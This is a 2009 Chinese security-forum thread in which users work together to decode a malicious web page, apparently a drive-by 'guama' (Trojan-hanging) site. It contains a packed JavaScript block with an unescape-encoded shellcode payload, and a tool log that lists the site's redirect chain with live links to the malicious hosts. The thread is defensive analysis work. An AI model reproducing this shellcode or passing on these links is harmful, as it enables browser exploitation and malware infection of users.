hxxp://ert5321.cn/j10/j10.htm

qq890

hxxp://ert5321.cn/j10/j10.htm
hxxp://ert5321.cn/j10/../og.jpg 这个怎么解呢 代码在下面
hxxp://ert5321.cn/j10/../go.jpg
hxxp://ert5321.cn/j10/mlink.html
hxxp://ert5321.cn/j10/xlink.html
hxxp://tu-21.cn/css/j10.css
hxxp://tu-21.cn/css/re11.css
hxxp://tu-21.cn/css/lz.css
hxxp://tu-21.cn/css/bf.css
hxxp://tu-21.cn/css/re10.css
请禁用URL识别
by taoyuan237


e
36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]%%e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('73 0=72(\'%5V%P%1%j%b%3K%6L%5c%13%1%6n%12%6h%6U%5X%6X%71%34%4%4F%5Z%f%1%3z%2%5N%g%1%6e%4%4F%5Z%c%1%3i%2%5N%d%1%4V%4%4F%5Z%6%1%4l%2%5N%9%1%3d%4J%32%2j%j%8%38%5w%3%5N%o%1%5l%4J%32%1v%j%8%38%55%3%5N%m%1%5l%5U%V%1%6n%5x%1Q%54%6t%52%2t%3l%3h%5s%5a%4D%v%2e%2u%6M%5o%4Z%5%3g%68%q%1%5A%5u%3r%3x%2a%2n%1G%1u%2b%2n%3s%3x%2a%2n%1H%1u%4v%1f%5f%2J%W%2%30%2K%5w%4%5N%k%1%6r%5v%5g%25%1l%5G%Q%64%3E%5u%1w%1P%2g%2Q%4t%35%5f%5E%5y%6m%4n%26%1q%4u%Z%6f%5y%5D%5n%1O%2f%2o%s%1%2Z%2K%2J%2J%39%5S%O%1%1m%1%3v%Y%1%4L%3m%71%60%N%1%5E%31%31%5z%1Z%46%4p%5R%1e%4j%4P%2m%44%36%69%2l%6M%5Y%6O%71%5W%6N%71%1g%T%5i%6%11%71%1V%2V%5T%h%1%5S%K%1%5z%4q%1x%4d%5O%H%1%6P%6S%5X%E%1%6T%1%6L%5X%6H%71%3a%1R%2V%5T%a%1%5S%I%1%5z%4q%1x%4d%5O%F%1%6P%6S%3c%3k%5m%L%5l%6o%71%37%4x%19%6r%15%2d%4f%5P%J%1%5z%6r%3p%3B%3F%2q%3U%6i%17%1%6g%4a%3L%24%47%1s%1C%3%6L%4K%5Z%A%1%5z%6l%16%4H%1y%2a%p%6R%1A%5Q%C%1%5z%5p%3j%5b%2%1%3J%3Q%1%49%3P%65%4M%1y%2B%1a%70%2Y%2v%3%61%6I%71%5M%71%4y%18%3M%3H%43%3O%1j%2p%U%5S%6x%71%5S%G%1%5d%70%60%6V%71%5p%5k%1S%e%3F%40%3V%1j%2p%U%5S%6w%71%5S%D%1%4O%70%60%6V%71%5p%5k%3u%4e%3F%3I%3R%1j%2p%U%5S%6u%71%5S%B%1%3C%70%60%6V%71%5p%5k%4b%4h%63%4M%1y%2B%3N%6Z%2Y%4X%2%61%6y%71%5M%71%4y%10%5W%z%1%1o%2s%2O%5t%2%4s%18%5W%y%1%67%S%2D%56%2%4s%18%5W%x%1%4W%1c%2P%4U%2%4s%18%5W%w%1%6a%6b%2I%4E%2%4s%18%5W%u%1%6d%X%2L%4c%2%4s%18%5W%6K%71%4i%5F%2F%3q%2%4s%18%5W%t%1%6c%5J%2M%2x%2%4s%18%5W%r%1%53%1F%2W%20%2%4s%18%5W%6Q%71%4Y%4S%2G%1D%2%4s%18%5W%6F%71%3e%4r%2A%1h%2%4s%18%5W%n%1%4o%5L%2N%6J%1%4s%18%5W%l%1%4T%5e%2H%62%1%4s%18%5W%6E%71%3b%58%2U%5C%1%4s%18%5W%6D%71%1n%1r%2A%5j%1%4s%18%5W%6C%71%5I%1M%2R%51%1%4s%18%5W%6B%71%4Q%5K%2S%4R%1%4s%18%5W%6z%71%3G%5r%2T%4B%1%4s%18%5W%i%1%3W%57%2E%3X%1%4s%18%5W%6A%71%1i%3A%5S%6q%71%5S%6G%71%59%6Y%60%6W%71%5W%6v%71%2y%2z%2C%2i%1%4s%18%5W%7%1%4N%1d%2X%1E%1%4s%18%1T%3y%2k%4A%4k%29%2k%28%3T%50%4I%14%66%27%2k%4w%4m%4I%23%3n%4H%1z%1X%2r%1Y%33%4g%5B%4I%1k%4I%1t%5H%22%2c%1W%R%1U%1V%6s%4z%45%5h%1b%6k%6j%21%1B%48%2h%3f%M%3D%4I%2w%4I%1p%5H%4I%4G%5q%4C%1y%3o%5W%6p%71%42%3S%1J%41%1I%1N%3t%1K%3Y%1L%3w%3t%3Z%1
\');',62,438,'dashell%u0000%u0001% u0002%u0003%u0004%u000C%u000F%u0010%u001A%u001E%u0020%u0022%u0030%u0032%u0038%u0046%u0054% u0057%u0068%u0072%u00CF%u00E2%u00E3%u00FA%u00FF%u0114%u011F%u012C%u0133%u015B%u015F%u016F% u0183%u0197%u01AB%u01CB%u01CF%u01EF%u01F9%u01FB%u020B%u0223%u0241%u0255%u025D%u028B%u02EB% u0324%u0339%u033B%u034D%u0374%u038B%u0397%u0401%u0424%u0453%u0468%u048A%u04A1%u04C0%u04C4% u04E8%u05EB%u0800%u0840%u086A%u0874%u08B9%u08C4%u08EC%u0BE8%u0DCF%u0DFC%u0E4E%u0F75%u10C2%u11B8%u12E8%u13EB%u15EB%u184A%u188A%u19E8%u1A68%u1B68%u1C5A%u1C89%u1E7A%u2024%u205A%u2063%u206A%u2200%u243C%u2444%u246C%u2474%u247C%u24E8%u26E8%u2AE8%u2D49%u2F04%u2F0C%u2d75%u2f3a%u2f6e%u2f73%u305B%u3132%u3310%u3322%u3349%u3356%u3368%u33C3%u33F5%u33FF%u348B%u3624%u363C%u3880%u3AE8%u3B36%u3BE3%u3C40%u3E00%u3E08%u3E09%u3E0B%u3E0C%u3E10%u3E20%u3E22%u3E49%u3E57%u3E66%u3EC0%u3ED2%u3EDF%u3EE8%u406A%u408B%u408D%u4190%u42C7%u43C7%u448D%u4549%u458B%u46C6%u478D%u47C7%u4AE8%u4B0C%u4EE8%u4F68%u4FEF%u5002%u5004%u5005%u500C%u5016%u501C%u501E%u5035%u5036%u5050%u5053%u505F%u5060%u5073%u5079%u507C%u5088%u5094%u50A3%u50B3%u50BB%u50C0%u50DB%u50EC%u50FF%u5100%u5200%u5353%u53DC%u548B%u54E8%u54EC%u5506%u56FF%u5700%u5750%u5753%u5768%u58D0%u58EB%u5968%u5A8B%u5B00%u5BC3%u5BE8%u5F10%u5F5E%u5FFF%u60A0%u60C3%u611C%u6168%u62E8%u6302%u6308%u632e%u6368%u6400%u6464%u646D%u64C0%u64E8%u656A%u656D%u65E9%u66DD%u66F6%u6800%u6868%u686C%u6873%u68C3%u6A00%u6A2F%u6AC3%u6BE8%u6C64%u6C72%u6E6F%u6F64%u7074%u708B%u7246%u7265%u7268%u72E8%u7363%u7373%u7375%u742f%u7468%u746E%u7490%u74C0%u74E9%u74FF%u7528%u7568%u75A6%u7668%u76E8%u7700%u7776%u77FF%u7828%u7867%u7868%u7881%u78C0%u78E8%u7CC0%u7D54%u7E68%u8005%u8036%u8197%u8300%u8302%u8308%u8322%u8334%u8357%u83FF%u84AC%u8530%u86E8%u8936%u893E%u8AE8%u8B00%u8B04%u8B36%u8B3E%u8B53%u8BD0%u8D00%u8D15%u8E68%u8FE9%u9005%u9768%u9AE8%u9B5E%u9E68%u9EE8%uA0E8%uAA68%uAAE8%uAB68%uACE9%uAD1C%uAEE8%uAEF2%uB068%uB0C0%uB0E8%uB2E8%uB3FE%uB5A0%uB5E9%uB807%uB85E%uB9D0%uB9E9%uBBF9%uC033%uC083%uC107%uC280%uC2E8%uC308%uC358%uC35B%uC383%uC3E0%uC483%uC503%uC524%uC63E%uC6E8%uC73E%uC78B%uC8E8%uC933%uCC8B%uD0FF%uD48B%uD503%uD6E8%uD98B%uDB33%uDB68%uDB84%uDD03%uE068%uE0CE%uE2C9%uE2D8%uE6E8%uE800%uE80A%uE814%uE81C%uE838%uE850%uE854%uE857%uE890%uE8C3%uE8D0%uE8E0%uE8F8%uE8FF%uE900%uEAE8%uEB00%uEB40%uEB6D%uEBC3%uEC68%uEC81%uEC8B%uED68%uEF56%uEF68%uF068%uF2E8%uF2EB%uF300%uF35E%uF48B%uF4EB%uF803%uF83B%uF883%uF88B%uF9E8%uFB4F%uFBE0%uFC8B%uFCC0%uFCC3%uFD90%uFDA9%uFDBA%uFDE4%uFE40%uFE42%uFE44%uFE56%uFE6A%uFE7E%uFE92%uFEA7%uFEAB%uFED1%uFEE0%uFEE8%uFEF7%uFF00%uFF05%uFF11%uFF17%uFF33%uFF36%uFF3E%uFF57%uFF68%uFFA4%uFFE6%uFFE8%uFFF6%uFFFC%uFFFD%uFFFE%uFFFF%unescape%var'.split('%'),0,{}))

[ 本帖最后由 qq890 于 2009-8-4 08:52 编辑 ]

taoyuan237

首先你的代码读取的就不完整，此类页面不建议使用FreShow解密
因为挂马人一般针对FreShow做了特殊处理所以读出的代码有问题
建议直接使用Redoce读取代码
然后使用EVAL清除功能即可
解密后的地址是
http://tu-21.cn/css/dd.css

qq890

哦! 谢谢

Hopesky

关于:hxxp://ert5321.cn/j10/j10.htm解密的日志(全体输出 -  25):

Level  1>http://ert5321.cn/j10/new.html
Level  2>http://ert5321.cn/real11.htm
Level  3>http://ert5321.cn/realplay.js
Level  4>http://tu-21.cn/css/re11.css  ●
Level  2>http://ert5321.cn/real10.htm
Level  3>http://ert5321.cn/real.js
Level  4>http://tu-21.cn/css/re10.css  ●
Level  3>http://ert5321.cn/j10/xlink.html
Level  3>http://ert5321.cn/j10/mlink.html
Level  2>http://ert5321.cn/j10/a04.htm
Level  3>http://ert5321.cn/j10/14.js
Level  4>http://tu-21.cn/css/j10.css  ●
Level  2>http://ert5321.cn/dd.htm
Level  3>http://ert5321.cn/go.jpg
Level  3>http://ert5321.cn/og.jpg
Level  4>http://tu-21.cn/css/dd.css  ●
Level  2>http://ert5321.cn/zhin.js
Level  3>http://ert5321.cn/bfyy.htm
Level  4>http://ert5321.cn/bf.js
Level  5>http://tu-21.cn/css/bf.css  ●
Level  4>http://ert5321.cn/bff.js
Level  3>http://ert5321.cn/lzz.htm
Level  4>http://ert5321.cn/lzz.js
Level  5>http://tu-21.cn/css/lz.css  ●
Level  2>http://ert5321.cn/xnnn.js

日志由 Redoce2.0第16次修正版于 2009/8/4 13:29:27 生成。